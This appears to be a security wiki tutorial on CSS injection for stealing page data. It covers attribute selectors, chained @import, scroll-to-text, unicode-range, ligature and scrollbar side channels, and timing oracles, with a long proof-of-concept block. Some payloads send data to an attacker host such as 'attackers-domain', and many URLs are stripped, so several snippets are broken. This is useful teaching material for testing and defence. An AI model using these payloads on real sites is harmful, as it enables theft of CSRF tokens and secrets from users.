CSS Injection

CSS Injection

Attribute Selector

The main technique to exfiltrate information via CSS Injection is to try to match a text with CSS and in case that text exist load some external resource, like:
background-image: url(;
background-image: url(;
/* ... */
background-image: url(;
However, note that this technique won't work if, in the example, the csrf name input is of type hidden (and they usually are), because the background won't be loaded. However, you can bypass this impediment by, instead of making the hidden element load a background, just make anything after it load the background:
input[name=csrf][value^=csrF] ~ * {
background-image: url(;


  1. 1.
    The CSS injection needs to allow for sufficiently long payloads
  2. 2.
    Ability to frame the page to trigger CSS re-evaluation of newly generated payloads
  3. 3.
    Ability to use externally hosted images (could be blocked by CSP)


The previous technique has some drawbacks, check the prerequisites. You either need to be able to send multiple links to the victim, or you need to be able to iframe the CSS injection vulnerable page.
However, there is another clever technique that uses CSS @import to improve the quality of the technique.
This was first showed by Pepe Vila and it works like this:
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to load the page just once and just with an import to the attackers server (this is the payload to send to the victim):
@import url('//');
  1. 1.
    The import is going to receive some CSS script from the attackers and the browser will load it.
  2. 2.
    The first part of the CSS script the attacker will send is another @import to the attackers server again.
    1. 1.
      The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
  3. 3.
    The second and bigger part of the payload is going to be an attribute selector leakage payload
    1. 1.
      This will send to the attackers server the first char of the secret and the last one
  4. 4.
    Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
    1. 1.
      The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
The attacker will follow that loop until it manages to leak completely the secret.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
/* value^= to match the beggining of the value*/
/* value$= to match the ending of the value*/
This allows the script to leak the secret faster.
Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang. No worries, just check the output because you can see the flag there.

Other selectors

Other ways to access DOM parts with CSS selectors:
  • .class-to-search:nth-child(2): This will search the second item with class "class-to-search" in the DOM.
  • :empty selector: Used for example in this writeup:
    [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Basically the main idea is to use a custom font from an endpoint controlled by us in a text that will be showed only if the resource can not be loaded.
<!DOCTYPE html>
font-family: poc;
src: url(;
font-family: 'poc';
<object id="poc0" data="">A</object>

Styling Scroll-to-Text Fragment

When a URL fragment targets an element, the :target pseudo-class can be used to select it, but ::target-text does not match anything. It only matches text that is itself targeted by the [fragment].
Therefore, an attacker could use the Scroll-to-text fragment and if something is found with that text we can load a resource (via HTML injection) from the attackers server to indicate it:
:target::before { content : url(target.png) }
An example of this attack could be:{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Which is abusing an HTML injection sending the code:
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
with the scroll-to-text fragment: #:~:text=Administrator
If the word Administrator is found, the indicated resource will be loaded.
There are three main mitigations:
  1. 1.
    STTF can match only words or sentences on a web page, theoretically making it impossible to leak random secrets or tokens (unless we break down the secret in one-letter paragraphs).
  2. 2.
    It is restricted to top-level browsing contexts, so it won’t work in an iframe, making the attack visible to the victim.
  3. 3.
    User-activation gesture is needed for STTF to work, so only navigations that are a result of user actions are exploitable, which greatly decreases the possibility to automate the attack without user interaction. However, there are certain conditions that the author of the above blog post discovered that facilitate the automation of the attack. Another, similar case, will be presented in PoC#3.
    1. 1.
      There are some bypasses for this like social engineering, or forcing common browser extensions to interact.

@font-face / unicode-range

You can specify external fonts for specific unicode values that will only be gathered if those unicode values are present in the page. For example:
src: url(; /* fetched */
src: url(; /* fetched too */
src: url(; /* not fetched */
<p id="sensitive-information">AB</p>htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

We can extract the text contained in a node with a technique that combines font ligatures and the detection of width changes. The main idea behind this technique is the creation of fonts that contains a predefined ligature with high size and the usage of size changes as oracle.
The fonts can be created as SVG fonts and then converted to woff with fontforge. In SVG we can define the width of a glyph via horiz-adv-x attribute, so we can build something like <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, being XY a sequence of two chars. If the sequence exists, it will be rendered and the size of the text will change. But… how can we detect these changes?
When the attribute white-space is defined as nowrap it forces the text to do not break when it exceeds the parent’s width. In this situation, an horizontal scrollbar will appear. And we can define the style of that scrollbar, so we can leak when this happens :)
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(; }
At this point the attack is clear:
  1. 1.
    Create fonts for the combination of two chars with huge width
  2. 2.
    Detect the leak via the scrollbar trick
  3. 3.
    Using the first ligature leaked as base, create new combinations of 3 chars (adding before / after chars)
  4. 4.
    Detect the 3-chars ligature.
  5. 5.
    Repeat until leaking the whole text
We still needing an improved method to start the iteration because <meta refresh=... is suboptimal. You could use the CSS @import trick to optimize the exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

This trick was released in this Slackers thread. The charset used in a text node can be leaked using the default fonts installed in the browser: no external -or custom- fonts are needed.
The key is to use an animation to grow the div width from 0 to the end of the text, the size of a char each time. Doing this we can “split” the text in two parts: a “prefix” (the first line) and a “suffix”, so every time the div increases its width a new char moves from the “suffix” to the “prefix”. Something like:
When a new char goes to the first line, the unicode-range trick is used to detect the new character in the prefix. This detection is made changing the font to Comic Sans, which its height is superior so a vertical scrollbar is triggered (leaking the char value). This way we can leak every different character one time. We can detect if a character is repeated but not what character is repeated.
Basically, the unicode-range is used to detect a char, but as we don't want to load an external font, we need to find another way. When the char is found, it's given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
div::-webkit-scrollbar {
background: blue;
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup
This case is very similar to the previous one, however, in this case the goal of making specific chars bigger than other is to hide something like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup
In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup
In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
unicode-range: U+0041;
And the bot’s code looks like this:
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
So, Assuming the font doesn’t match, the time to get the response when visiting the bot should be around 30 seconds. If there is a match, a bunch of requests will be sent to get the font, and the network will always have something, so it will take longer to meet the stop condition and get the response. So the response time can tell if there is a match.